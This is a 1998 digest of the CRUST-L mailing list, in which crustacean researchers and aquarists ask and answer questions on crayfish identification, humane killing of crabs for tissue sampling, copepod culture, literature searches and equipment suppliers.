05/776 Universitaetsstrasse 150 44801 Bochum, GERMANY phone: +49 (0)234-700-5577 fax: +49 (0)234-7094114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Dave O'Neill" Date: Thu, 12 Mar 1998 11:47:45 -0500 Subject: CRUST-L: What is in the market, and where did they come from? Hello all: Last night I purchased some crayfish in a fish market near Baltimore. They appeared to be Procambarus zonangulus, but may have been a related species such as Procambarus acutus. This surprises me because I've only seen Procambarus clarkii here in the past. Usually, P. zonangulus is an incidental catch in wild harvest or pond culture, although the literature suggests they may be very common in some ponds. The crayfish were exceptionally clean, lively, and (when I saw them) packed in a box instead of the usual onion bags. Their cleanliness suggested to me that they were cultured or depurated rather than packed immediately after a wild harvest. The vendor thought they came from Louisiana. Does anyone know of commercial operations raising Procambarus other than P. clarkii that be the source of these crayfish? Thanks, Dave O'Neill =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 12 Mar 1998 12:38:24 -0600 Subject: CRUST-L: accents marks in email Wulf, Get a Mac 8-) . This is more a function of your computer's operating system and what language packages it has than anything else. Except thatUNIX servers and routers may not be able to handle the accent marks, if they don't consider the accents as ascii characters. Even if your computer handles the accents right, and the servers do also, if the recipients' computers don't have the software, the language will be mangled. One of the joys of letting US English dominate the web ... 8-p . Phil >sorry for raping the French language in my last message, the writing >was correct (I hope so), but what you got was a bit chaotic... > What can I do do to urge my "Pegasus-E-Mail" to translate all French >accent marks in the correct way? Is there a possibility that you can >get it in correct French writing or do I have to leave out any accent >mark (which looks rather stupid)? > >Best regards to all of you > >Wulf > >*************************************************** >Wulf Kobusch >Ruhr Universitaet Bochum >Spezielle Zoologie, ND 05/776 >Universitaetsstrasse 150 >44801 Bochum, GERMANY > >phone: +49 (0)234-700-5577 >fax: +49 (0)234-7094114 >e-mail: wulf.c.kobusch@ruhr-uni-bochum.de >*************************************************** > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 12 Mar 1998 12:38:21 -0600 Subject: CRUST-L: effective methods to kill a crab >I am doing ammonia toxicology in the freshwater crab, Eriocheir sinensis, >and want to take tissue (muscle, liver, and gills) samples for some >biochemical analysis. Then the crab has to be anaesthesized and killed >before sampling. At first, i applied MS-222 to anaesthesize the crabs, but >I found that the crab is un-sensitive to this anaesthesia even at a 0.3% >(w/v) concentration. Now my questions is: > >1. Can anyone suggest the appropriate concentration of MS-222 for >freshwater crabs? Don't bother weighing, just dump a capful or two into the water. If you can't afford this, try another chemical >2. Is it an accepted method to fast freeze the whole crab in liquid N2 and >then to take the tissue samples? I wouldn't think so. Freezing a whole crab is going to generate lots of ice crystals and lots of freezing damage. This will disrupt membranes, cells, and so forth, destroying any compartmentalization of compounds or biochemical classes. Unless you're just after total protein, lipid, etc., and don't care where in the crab tissues each is. >If you have any suggestion, please respond this mail as soon as possible. >Thanks a lot. Why not anesthetize, remove the needed tissue, then quickly kill the crab in boiling water? Or, you could try just removing a leg, and snipping off a gill, then with sterile methods, cutting a small window in the carapace, removing a bit of hepatopancreas, and crazy-gluing on a bit of plastic to cover the hole. All under anesthesia, and you'll have a live crab afterwards for replicating your experiments. Don't get supper this way, tho'. > >J.H. Zhao Phil }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Shiao Y. Wang" Date: Thu, 12 Mar 1998 13:32:56 -0600 Subject: CRUST-L: Effective methods to kill a crab > 1. Can anyone suggest the appropriate concentration of MS-222 for > freshwater crabs? > > 2. Is it an accepted method to fast freeze the whole crab in liquid N2 and > then to take the tissue samples? I recommend that you simply place the crab in ice water for several minutes. - -- Shiao Y. Wang University of Southern Mississippi sywang@whale.st.usm.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Dr. David M. Webb" Date: Thu, 12 Mar 1998 14:43:57 -0500 (EST) Subject: CRUST-L: Re: your mail Jennifer: It's hard to know what to recommend, without knowing what sort of information you're looking for. For theoretical treatments, you might try books by: George Gaylord Simpson Theodosius Dobzhansky Niles Eldriged (e.g., _Time Frames_) Stephen Jay Gould (writings in _Natural History_) Willi Hennig, _Phylogenetic Systematics_ Edward O. Dodson, _Process and Product_ For general palaeontology books, perhaps one of the following would be helpful: Alfred S. Romer, _Vertebrate Paleontology_ Edwin H. Colbert, _Evolution of the Vertebrates_ Richard Cowen, _History of Life_ (a textbook) Niles Eldridge and Murray Alcosser, _Fossils_ For books specifically about human or primate evolution, you might like: John G. Fleage, _Primate Adaptation and Evolution_ Glenn C. Conroy, _Primate Evolution_ Donald Johanson and Maitland Edey, _Lucy_ Donald Johanson and Blake Edgar, _From Lucy to Language_ Ian Tattersall, _The Human Odyssey_ Richard Leakey and Roger Lewin, _Origins Reconsidered_ Roger Lewin, _Human Evolution: An Illustrated Introduction_ C. Loring Brace, _The Stages of Human Evolution_ Some of these are popular books, others are textbooks. Of course, your library will have some of these and probably many others, including the major textbooks in the field. Some of the most modern textbooks will not be in your library, because they are available only in paperback, and libraries are rightly concerned that these are too fragile to be effective for their purposes. You may well be able to borrow a small textbook from someone in your anthropology or biology department (if you're at a college). I should warn you that, if you're looking for a synopsis of human evolution or the evolution of some other group, to be sent back to you via e-mail, humbio-l is probably not the place to look. Most of the traffic on this list seems to come from graduate students and professionals in physical anthropology, and a great deal of familiarity with the subject is assumed by most of our subscribers. Also, you may get more personal opinion about some of the more contentious issues than you bargained for:) Good luck! David Webb Kutztown University (PA) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "GJC" Date: Thu, 12 Mar 1998 15:52:45 -0500 Subject: CRUST-L: freshwater crustacean exhibit Hi! My name is Jeff Campbell. I am very new to the crust-l. I am employed at the Tennessee Aquarium in Chattanooga, TN as a senior aquarist. Our aquarium is a world-class, primarily freshwater aquarium. Even though I am in charge of our fish quarantine area, I have had for some time a keen interest in crustaceans, especially decapods. As many may realize, Tennessee is a "hotbed" of crayfish diversity. I have felt for some time that there is an excellent opportunity to educate the public as to this rich diversity. Perhaps even an obligation to tell this story... Well, my persistence seems to have paid off. There is a very strong chance that our next theme for the "changing theme" gallery will be crustaceans. Our first theme, "Jellyfish...Phantoms of the Deep" opens tomorrow, and will run until spring of 2000. This gives plenty of time to develop ideas, etc. Due to the marine nature of the Jellyfish... it was felt that the crustacean gallery should have a primarily freshwater focus. Of course there would be a number of marine animals as well... I would love to hear from anyone willing to give me ideas on specific themes, animals, etc. North america has rich diversity, and should probably not present much of a problem as per acquisition of animals. Asian, African, Australian, Latin American fauna might be more of a problem. There are a number of freshwater crabs, shrimp, and crayfish from these areas that I would be interested in, if I knew about them. The literature that is readily available to me is on north american inverts. This project has all the potential to be a very world-class, global perspective, crustacean exhibit, and as I envision it, perhaps on a level never attempted before... Any assistance would be immensely appreciated... Sincerely, Jeff Campbell, senior aquarist, Tennessee Aquarium P.O.Box 11048 Chattanooga, TN 37401 USA phone 423-785-4157 fax 423-267-3561 e-mail gjc@tennis.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Okan Kulkoyluoglu Date: Thu, 12 Mar 1998 15:41:41 -0800 (PST) Subject: CRUST-L: Do the land crabs hear? Dear all, one of my friends wants to know if land hermet(herment?) crabs are able to hear actual sound (e.g., music)...? This question is related with a behavioral study..What would you say? If they do, How? many thanks... Okan =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Liu Fengqi Date: Fri, 13 Mar 1998 10:33:57 +0800 Subject: Re: CRUST-L: Acetes sp. culture There is a great population of Acetes sinensis in Bohai Bay, China. Now the captured Acetes are sold as feed ingredent and also a small part for human consumption. Regards, Liu Fengqi >Subject: Re: CRUST-L: Acetes sp culture & reproduction info needed > Does anyone have or know where I can find information about Acetes sp. > shrimp & their breeding morphology? Any info on captive culture would also > be great. > > Thanks & regards > > Paul Groves > Head Aquarist > Underwater World - Perth - Australia > Founder MASWA - Marine Aquarists Society of WA > Email paul@nw.com.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Shiao Y. Wang" Date: Fri, 13 Mar 1998 02:07:32 -0600 Subject: Re: CRUST-L: growing freshwater copepods > My question to those of you who culture freshwater copepods: > 1) Is there a culture medium available that simulates lake water? > 2) Has anyone tried spring water from the grocery, and which brands are > preferable? Carol, EPA published a manual on standard methods to do toxicological assays. Included are recipes for making artificial pond/spring water (soft, medium and hard water) using distilled water. You might want to check in your library for such a publication. If you can't find it, let me know and I'll dig around for the reference. - -- Shiao Y. Wang University of Southern Mississippi sywang@whale.st.usm.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Fri, 13 Mar 1998 16:01:40 +0100 Subject: CRUST-L: Recent Book Penaeidea INFORMATION =========== A recent book that might interest those studying Peneids and taxonomy of Crustacea Decapoda : Perez Farfante I., Kensley B. F., 1997. Penaeoid and Sergestoid Shrimps and Prawns of the World. Keys and Diagnoses for the Families and Genera. Mem. Mus. natn. Hist. nat., 175 : 1-223, figs 1-143. Paris ISBN: 2-85653-510-0. in France : 350 FF TTC (frais de port en sus) Museum National d'Histoire Naturelle, service des publications scientifiques, Diffusion Delphine Henry, 57 rue Cuvier, F-75005 Paris. Tel [33] 01 40 79 37 00; fax [33] 01 40 79 38 40; e-mail dhenry@mnhn.fr out of France, Sales Office = Universal Book Services, Dr. W. Backhuys, P. O. Box 321, NL-2300 AH Leiden, The Nederlands Tel. [31] (71) 517 02 08; fax [31] (71) 517 18 56; e-mail backhuys@euronet.nl [informations on scientific publications of the Museum : http://www.mnhn.fr/ ] This works presents a study of the taxonomy of the penaeidean shrimps of the world. This group of shrimp includes many of commercially important marine species of the tropics and subtropics, as well as many of the species that constitutes a major link in the food chain of the oceans. The works present keys for the identification of 7 families and 56 genera, as well as diagnoses that attempt to define these taxa with scientific clarity. Also included are lists of the species and subspecies currently included in these genera, along with their geographic distribution, and a full bibliography. Pierre Y. NOEL, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 13 Mar 1998 11:35:47 -0500 (EST) Subject: CRUST-L: Re: How to retrieve old crust-l messages? CRUSTLers, I have put the archives of CRUST-L posts on the web. If you wish to see them, go to http://www.vims.edu/~jeff/archive.htm They're currently organized by month, but I'm open to organizing them by year if you think it'll be easier to search for keywords. Let me know if you use them. > Today's thread on anastethics has reminded me of an old thread, dating back > to about one year ago, which I lost from my PC. > > How can I retrieve those messages? Re anaesthetics: this topic, and the one on anti-coagulants come up enough that they would make a good web page. Any takers? Cheers, Jeff List Administrator jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Zhao Jianhong Date: Sat, 14 Mar 1998 11:58:15 +0800 (SST) Subject: CRUST-L: effective method killing E. sinensis Dear Crustlers: I would like to thank all of you who gave me suggestions and advice on finding out an effective killing method. J.H. Zhao School of Biological Sciences National University of Singapore Lower Kent Ridge Road Singapore 119260 email: scip5001@leonis.nus.edu.sg ************************************************************************************ I want to find a post-doc position in aquatic toxicology. Any information is welcomed. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Bartlomiej Stanczyk Date: Sun, 15 Mar 1998 12:33:15 +0100 Subject: CRUST-L: Marine life Dear all, I am from Poland and I graduated the University of Lodz where I was studying Environment Protection and Biology of Water. I have been interested in marine life, particularly ecology of Malacostraca. I researched about biodiversity and ecology of Isopods in southern Baltic Sea. My proviser was professor Christopher Jazdzewski from the University of Lodz. I wish I could cooperate with any institution dealing with researches about what I am interested in. I should be grateful if there were anybody to send me information about any possibilities of that. Many thanks in advance Bartlomiej Stanczyk e-mail: stanczyk@kki.net.pl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wulf Kobusch" Date: Mon, 16 Mar 1998 13:33:11 +0000 Subject: CRUST-L: Bacescu 1967 - Hansenomysis Hello CRUSTLers, is there anybody out there who has ever heard of the following Journal, or the following title: BACESCU, M. (1967): Contributions to the study of the genus Hansenomysis and descriptions of six new species from Peru Trench (Pacific Ocean). Duke Univ. (pp ?) The journal could be "The Bulletin of the Duke University Marine Station (Durham, North Carolina)". Here in Europe it is not possible to get this title. May be that somebody of you has a copy for me if it no that long. Best wishes to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas trott Date: Mon, 16 Mar 1998 12:04:22 -0500 (EST) Subject: CRUST-L: nytex gauze I am looking for a supplier of nytex gauze (screen) for sieves to be used in meiofaunal sampling. Can anyone suggest a source for nytex? Thanks, Tom ********************************************************************** Dr. Thomas J. Trott Boston University Marine Program Marine Biological Laboratory Woods Hole, MA 02543 work:508-289-7145 fax:508-289-7295 email:ttrott@bio.bu.edu ********************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Mon, 16 Mar 1998 13:08:03 -0500 Subject: Re: CRUST-L: nytex gauze You might try Aquatic Research Instruments, P.O. Box 2214, Seattle, WA 98111 (Ph: 206-789-0138; FAX: 206-789-8344). My catalog is from 1992, so I don't know if the phone numbers are correct. Chuck Booth >I am looking for a supplier of nytex gauze (screen) for sieves to be used >in meiofaunal sampling. Can anyone suggest a source for nytex? > >Thanks, >Tom > > >********************************************************************** >Dr. Thomas J. Trott >Boston University Marine Program >Marine Biological Laboratory >Woods Hole, MA 02543 >work:508-289-7145 >fax:508-289-7295 >email:ttrott@bio.bu.edu > >********************************************************************** >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #125 ***************************** From owner-crust-l-digest@vims.eduFri Mar 20 12:46:47 1998 Date: Thu, 19 Mar 1998 11:06:14 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #126 crust-l-digest Thursday, 19 March 1998 Volume 01 : Number 126 Re: CRUST-L: Bacescu 1967 - Hansenomysis CRUST-L: weight of Birgus CRUST-L: G. O. Sars and Huus old papers CRUST-L: Fwd: For Shrimp Farmers Only = Free Listing CRUST-L: Scholtz' paper CRUST-L: Procambarus paenisulanus (author) Re: CRUST-L: Scholtz' paper Re: CRUST-L: Scholtz' paper RE: CRUST-L: Procambarus paenisulanus (author) CRUST-L: New catalogue Re: CRUST-L: Procambarus paenisulanus (author) CRUST-L: contact CRUST-L: Sesarmid larval culture RE: CRUST-L: Procambarus paenisulanus (author) RE: CRUST-L: Procambarus paenisulanus (author) (fwd) Re:CRUST-L: Sesarmid larval culture CRUST-L: setae details Re: CRUST-L: setae details ---------------------------------------------------------------------- From: Sonia Cawsey McGowan Date: Mon, 16 Mar 1998 10:19:48 -0800 Subject: Re: CRUST-L: Bacescu 1967 - Hansenomysis This is a multi-part message in MIME format. - --------------66ECFEBEFBBEDB5FD723A330 Content-Type: text/plain; charset=us-ascii Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Are you sure it is not a chapter in the following book? Bacescu, Mihai C. Contributions to the Mysid Crustacea from the Peru-Chile Trench (Pacific Ocean) 1971 Anton Bruun report ; no. 7 Scientific results of the Southeast Pacific Expedition Anton Bruun (Ship). Anton Bruun report ; 7. Southeast Pacific Expedition, 1965-1966. Scientific results of the Southeast Pacific Expedition. > Hello CRUSTLers, > > is there anybody out there who has ever heard of the following > Journal, or the following title: > > BACESCU, M. (1967): Contributions to the study of the genus > Hansenomysis and descriptions of six new species from Peru Trench > (Pacific Ocean). Duke Univ. (pp ?) > > The journal could be "The Bulletin of the Duke University Marine > Station (Durham, North Carolina)". Here in Europe it is not possible > to get this title. May be that somebody of you has a copy for me if > it no that long. > > Best wishes to all of you > > Wulf > > *********************************************************** > Wulf Kobusch > Ruhr Universitaet Bochum > Lehrstuhl fuer Spezielle Zoologie > Gebaeude ND 05 / 776 > Universitaetsstrasse 150 > 44801 Bochum > GERMANY > > phone: +49/(0)234-700-5577 or -4563 > fax: +49/(0)234-7094-114 > e-mail: wulf.c.kobusch@ruhr-uni-bochum.de > > *********************************************************** > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-= - --------------66ECFEBEFBBEDB5FD723A330 Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Sonia Cawsey Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Sonia Cawsey n: Cawsey;Sonia org: Copley Library adr: University of San Diego;;5998 Alcala Park;San Diego;CA;92110; email;internet: scawsey@acusd.edu tel;work: 619/260-2360 tel;fax: 619/260-4617 note: http://www.acusd.edu/~scawsey x-mozilla-cpt: ;0 x-mozilla-html: FALSE end: vcard - --------------66ECFEBEFBBEDB5FD723A330-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "P. Castro" Date: Mon, 16 Mar 1998 13:13:35 -0800 (PST) Subject: CRUST-L: weight of Birgus Dear colleagues: I am interested in finding out the maximum weight recorded for coconut, or robber, crabs (Birgus latro), the largest terrestrial arthropod. Thanks a million, Peter **************************************** P. Castro, Ph.D. Biological Sciences Department California State Polytechnic University Pomona, CA 91768-4032, U.S.A. e-mail: pcastro@csupomona.edu http://www.csupomona.edu/biology/ Phone - voice mail: (909)869-4069 Fax: (909)869-4078 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Antonina dos Santos Date: Tue, 17 Mar 1998 10:24:29 +0000 Subject: CRUST-L: G. O. Sars and Huus old papers Dear all, I would greatly appreciate if anyone can find and copy for me some ancient papers, that I can't find here. They are: SARS, G. O. 1875. Forh. Videnskselsk. Krist., 1874, 1-27, 2 pls. 